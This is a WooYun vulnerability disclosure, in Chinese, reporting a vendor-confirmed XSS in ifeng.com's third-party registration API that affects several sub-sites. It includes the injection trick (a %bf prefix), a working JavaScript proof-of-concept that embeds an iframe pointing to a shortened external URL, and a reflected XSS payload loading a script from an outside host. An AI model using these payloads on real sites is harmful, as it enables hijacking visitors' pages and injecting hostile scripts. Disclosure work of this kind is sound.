当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110379

漏洞标题:凤凰网首页XSS Rookit可向用户推送广告(影响多个分站)

相关厂商:凤凰网

漏洞作者: q601333824

提交时间:2015-04-26 08:33

修复时间:2015-06-10 11:40

公开时间:2015-06-10 11:40

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-26: 细节已通知厂商并且等待厂商处理中
2015-04-26: 厂商已经确认,细节仅向厂商公开
2015-05-06: 细节向核心白帽子及相关领域专家公开
2015-05-16: 细节向普通白帽子公开
2015-05-26: 细节向实习白帽子公开
2015-06-10: 细节向公众公开

简要描述:

由于厂家倒闭,现在直销,清仓大甩卖,机房配件,每样九块九,对,样样九块九,主机九块九,交换机九块九,路由器九块九,防火墙九块九,样样九块九(别在意标题,其实我不知道Rookit什么意思 (=_=))

详细说明:


1.凤凰网注册的时候会让用户填写用户名,然后抓取整个过程

1.png


2.png


3.png


2.自己猜测大概的过程,填写用户名,提交之后,会生成cook里面的token(也就是sid),然后返回给用户,通过setid和settoken,让用户用得到的token登录,也就是说,用户是否在线,关键取决于token.也就是sid
3.但是看这张图,第一次提交的过程中,cook中并没有sid,换句话就是说,就算未登录状态也能通过提交注册用户名,从而获得cook.(因为没有sid,就是说,没有验证是否用户真的在线)

1111111111.png


4.,这种缺陷有两个危害
(1).无限提交导致数据库插入无用数据,导致数据库变大,严重导致数据库出错
第一个例子: WooYun: 百度传课物理路径泄漏 (现在已经修复了)
这个例子出现的问题就是,用百度帐号快速登录,但是快速登录的过程,只验证了百度的名字ID,但是并没有验证百度cook,就像厂商说的,生成无用数据,导致数据库报错
(2)第二种就是导致出现可以重置用户CSRF
第二个例子: WooYun: 乐视网CSRF漏洞可重置任意用户密码 (现在已经修复了)
这个例子就是,我通过快速用户登录的,没有邮箱和密码,快速登录的用户设置密码和邮箱,影响到了已经设置过邮箱和密码的用户了
-----------------------------------------------------------------------------------------------
5.然后我得到设置用户名的连接:

https://id.ifeng.com/api/TrdPtyReg?uid=1793044722&n=%25E8%2582%2598%25E5%25AD%2590%25E5%25A5%25BD%25E5%2590%2583%25E5%2595%258A&sns=sina&state=1&cf=1&callback=f14cf04efa923&_=1429960850069


6.简化连接得到:

https://id.ifeng.com/api/TrdPtyReg?uid=1111&n=111


7.其中参数:
①uid:代表用户UID,随便填写,但是不能写已经存在的UID,会提示帐号已经保定第三方
②n: 代表用户设置的用户名字,随便填写,但是不能写已经存在的用户名,会提示用户名已经注册
8.其中参数 n 可以插入XSS代码,再XSS代码前面加%bf<XSS代码>,可以绕过格式错误的检查
比如
https://id.ifeng.com/api/TrdPtyReg?uid=XXXXXXX&n=XXXXXX%bf<XSS代码>
9.有人说,一个连接用过不能用了,再给别人用,就会提示,用户名已经注册,或者UID已经绑定用户,所以写了一段html代码

<script>
var shuzu=['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','G','H','I','J','K','L','a','b','c','d','e','f','g'];//设置一个数组.....
function test(){
var uid="";
for(var i=0;i<=9;i++)
{
var tbs=Math.floor(Math.random()*29);
uid=uid+shuzu[tbs]; //去随机一组十位的参数
}
return(uid)//返回随机获得十位的参数
}
window.onload=function test222(){
var data=document.getElementById('222');
var xxx=test()
var src="https://id.ifeng.com/api/TrdPtyReg?uid="+xxx+"&n="+xxx+"%bf%3Ciframe/src=%22//t.cn/RAHMz11%22%3E";//讲随机UID加入连接
data.src=src;//改变SRC属性,访问新的连接
}
</script>
<iframe src="https://www.baidu.com/" id="222">


10.上面那段代码,大概就是,先设置个数组,然后通过随机取出数组的参数,拼凑起来的十位,得到随机获得十位参数,然后通过变量赋值,动态修改连接uid参数,n参数,但是后面XSS代码是不变
-------------------------------------------------------------------------------------------
11.先访问poc网页,再访问凤凰网首页(可以影响别的分站)

http://fripside.sinaapp.com/rootkit.html


666666.png


99999999999999.png








漏洞证明:


1.先访问POC代码:http://fripside.sinaapp.com/rootkit.html
2.然后再访问凤凰网的首页
2.影响的范围的有
①凤凰网首页:

99999999999999.png


②凤凰体育:

222.png


③凤凰视频

1111.png







修复方案:

①.快速登录最容易忽视的地方
②。修改n参数%bf后面的XSS代码

③。再送一枚反射XSS漏洞:http://search.ifeng.com/sofeng/search.action?q=96315%3Cscript%20src=%22//fripside.sinaapp.com/1aaa.js%22%3E

版权声明:转载请注明来源 q601333824@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-04-26 11:38

厂商回复:

非常感谢您对凤凰网信息安全的帮助。

最新状态:

暂无